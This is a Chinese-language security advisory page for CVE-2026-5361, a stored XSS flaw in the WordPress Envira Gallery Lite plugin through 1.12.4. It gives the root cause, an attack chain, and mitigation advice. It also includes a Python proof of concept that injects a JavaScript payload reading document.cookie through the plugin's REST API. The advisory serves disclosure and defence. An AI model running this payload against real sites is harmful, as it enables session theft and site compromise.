IPBUF安全漏洞报告
English
CVE-2026-5361 CVSS 6.4 中危

CVE-2026-5361: WordPress Envira Gallery 存储型XSS漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-5361
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Envira Gallery Lite

相关标签

XSSWordPressStored XSSEnvira GalleryCVE-2026-5361插件漏洞

漏洞概述

WordPress插件Envira Gallery Lite在1.12.4及之前版本中存在严重的存储型XSS漏洞。由于REST API对`arrows`参数的输入清理不足,且输出时错误使用了`esc_attr()`进行转义,导致具有作者及以上权限的攻击者可注入任意JavaScript脚本。当用户访问被注入的页面时,恶意脚本将自动执行,威胁网站安全。

技术细节

该漏洞源于WordPress插件Envira Gallery Lite在处理画廊数据时的安全机制缺陷。具体而言,在`includes/global/rest.php`文件的`update_gallery_data()`函数中,`sanitize_config_values()`仅对特定的配置项(如`justified_gallery_theme`和`justified_row_height`)进行了清理,而遗漏了对`arrows`参数的过滤。随后,在`includes/global/shortcode.php`的`gallery_init()`函数中,未经过滤的`arrows`值被直接插入到页面的行内JavaScript配置对象中。开发人员错误地使用了`esc_attr()`函数来转义输出,该函数旨在处理HTML属性上下文,无法有效防御JavaScript上下文中的注入攻击。因此,经过身份验证的攻击者(至少拥有作者权限)可以通过REST API端点发送包含恶意JS表达式的`arrows`参数值,将持久化恶意脚本存储在数据库中。当其他用户访问包含受感染画廊的页面时,恶意脚本将在其浏览器上下文中执行,从而窃取会话Cookie或执行其他恶意操作。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用了存在漏洞的Envira Gallery Lite插件(版本<=1.12.4)。
STEP 2
获取凭证
攻击者获取至少拥有Author(作者)级别权限的WordPress账户凭证。
STEP 3
漏洞利用
攻击者构造包含恶意JavaScript代码的POST请求,发送至REST API端点,将恶意数据注入到`arrows`参数中。
STEP 4
持久化存储
恶意脚本被保存到WordPress数据库中,并绑定在特定的画廊配置里。
STEP 5
触发执行
当普通用户或管理员访问包含该画廊的页面时,恶意脚本在浏览器中加载并执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-json/envira-gallery/v1/gallery" # Requires Author level or higher access credentials auth_cookies = { "wordpress_logged_in_...": "your_cookie_value" } # Malicious payload exploiting the 'arrows' parameter # The vulnerability allows JS expression injection due to improper escaping. # Payload breaks out of the string context in the inline JS. payload_data = { "id": 1, # ID of an existing gallery to edit "config": { "arrows": "');alert(document.cookie);//" } } try: # Send the malicious request to the REST API endpoint response = requests.post(target_url, json=payload_data, cookies=auth_cookies) if response.status_code == 200: print("[+] Exploit payload sent successfully.") print("[+] Check the gallery page to verify XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Envira Gallery Lite <= 1.12.4

防御指南

临时缓解措施
建议立即检查并升级Envira Gallery Lite插件至最新版本。如果无法立即升级,可暂时禁用该插件或限制非管理员用户的编辑权限。同时,应审查网站日志,检查是否存在针对REST API的异常修改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表